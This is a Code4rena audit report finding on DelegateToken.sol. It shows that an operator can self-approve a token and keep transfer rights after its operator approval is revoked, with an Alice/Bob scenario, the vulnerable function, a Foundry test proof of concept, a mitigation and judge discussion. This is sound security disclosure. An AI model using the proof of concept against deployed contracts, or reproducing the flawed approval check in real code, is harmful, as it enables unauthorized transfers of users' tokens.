Platform: Code4rena
Start Date: 05/09/2023
Pot Size: $50,000 USDC
Total HM: 2
Participants: 16
Period: 6 days
Judge: GalloDaSballo
Total Solo HM: 2
Id: 284
League: ETH
Rank: 2/16
Findings: 1
Award: $17,118.75
๐ Selected for report: 1
๐ Solo Findings: 1
๐ Selected for report: d4r3d3v1l
17118.75 USDC - $17,118.75
https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L134 https://github.com/code-423n4/2023-09-delegate/blob/main/src/DelegateToken.sol#L168 https://github.com/code-423n4/2023-09-delegate/blob/main/src/libraries/DelegateTokenStorageHelpers.sol#L149
There is no way to revoke the approval which given via DelegateToken.approve(address,delegateTokenId)
.
They can able call the DelegateToken.transferFrom
even the tokenHolder revoke the permission using the
DelegateToken.setApprovalForAll
if the spender address is approved by the PT token ,we can call the DelegateToken.withdraw
.
Alice is the token Holder.
Alice approves Bob via DelegateToken.setApprovalForAll(Bob,true)
.
Bob approves himself using DelegateToken.approve(Bob,delegateTokenId)
Alice revokes the Bob approval by calling DelegateToken.setApprovalForAll(Bob,false);
Now Bob can still calls the DelegateToken.transferFrom(Alice,to,delegateTokenId)
which is subjected to call only by approved address.
The transfer will be successful.
Code details :
function revertNotApprovedOrOperator( mapping(address account => mapping(address operator => bool enabled)) storage accountOperator, mapping(uint256 delegateTokenId => uint256[3] info) storage delegateTokenInfo, address account, uint256 delegateTokenId ) internal view { if (msg.sender == account || accountOperator[account][msg.sender] || msg.sender == readApproved(delegateTokenInfo, delegateTokenId)) return; revert Errors.NotApproved(msg.sender, delegateTokenId); }
Even after revoking the approval for operator using setApprovalAll
this
msg.sender == readApproved(delegateTokenInfo, delegateTokenId)
will be true and able to call transferFrom
function.
Test function :*
function testFuzzingTransfer721( address from, address to, uint256 underlyingTokenId, bool expiryTypeRelative, uint256 time ) public { vm.assume(from != address(0)); vm.assume(from != address(dt)); ( , /* ExpiryType */ uint256 expiry, /* ExpiryValue */ ) = prepareValidExpiry(expiryTypeRelative, time); mockERC721.mint(address(from), 33); vm.startPrank(from); mockERC721.setApprovalForAll(address(dt), true); vm.stopPrank(); vm.prank(from); dt.setApprovalForAll(address(dt), true); vm.prank(from); uint256 delegateId1 = dt.create( DelegateTokenStructs.DelegateInfo( from, IDelegateRegistry.DelegationType.ERC721, from, 0, address(mockERC721), 33, "", expiry ), SALT + 1 ); vm.prank(address(dt)); dt.approve(address(dt), delegateId1); vm.prank(from); dt.setApprovalForAll(address(dt), false); address tmp = dt.getApproved(delegateId1); console.log(tmp); vm.prank(address(dt)); dt.transferFrom(from, address(0x320), delegateId1); }
Manual Analysis
If token Holder revokes the approval for a operator using DelegateToken.setApprovalForAll
, revoke the all the approvals(DelegateToken.approve) which is done by the operator.
Access Control
#0 - c4-judge
2023-09-18T11:10:58Z
GalloDaSballo marked the issue as satisfactory
#1 - c4-judge
2023-09-18T11:11:11Z
GalloDaSballo removed the grade
#2 - c4-sponsor
2023-09-20T23:34:04Z
0xfoobar (sponsor) confirmed
#3 - 0xfoobar
2023-09-20T23:34:14Z
Need to double-check but looks plausible
#4 - GalloDaSballo
2023-09-29T10:25:09Z
In contrast to ERC721, which only allows the owner to changeย approve
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ef3e7771a7e2d9b30234a57f96ee7acf5dddb9ed/contracts/token/ERC721/ERC721.sol#L448-L454
DT.approve
allows the operator to set themselves as approved, which can technically be undone via a multicall but may not be performed under normal usage
#5 - c4-judge
2023-10-01T18:49:58Z
GalloDaSballo changed the severity to 2 (Med Risk)
#6 - GalloDaSballo
2023-10-01T18:51:27Z
Leaning towards Medium Severity as the finding requires:
approvesForAll
BobapprovalForAll
_approve
that Bob gave to selfNotice that any transfer would reset the approval as well
#7 - c4-judge
2023-10-02T07:38:48Z
GalloDaSballo marked the issue as selected for report
#8 - 0xfoobar
2023-10-03T22:40:43Z
A note about how ERC721 works: there are two different types of approvals. approve()
lets an account move a single tokenId, while setApprovalForAll()
marks an address as an operator to move all tokenIds. We can note the difference in the core OpenZeppelin ERC721 base contract, two separate mappings: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721.sol#L32-L34
So plausible that an operator could be permitted to add new tokenid-specific approvals, but see your point that OZ ERC721 doesn't allow this by default and so could lead to confusing states that are possible but not fun to get out of.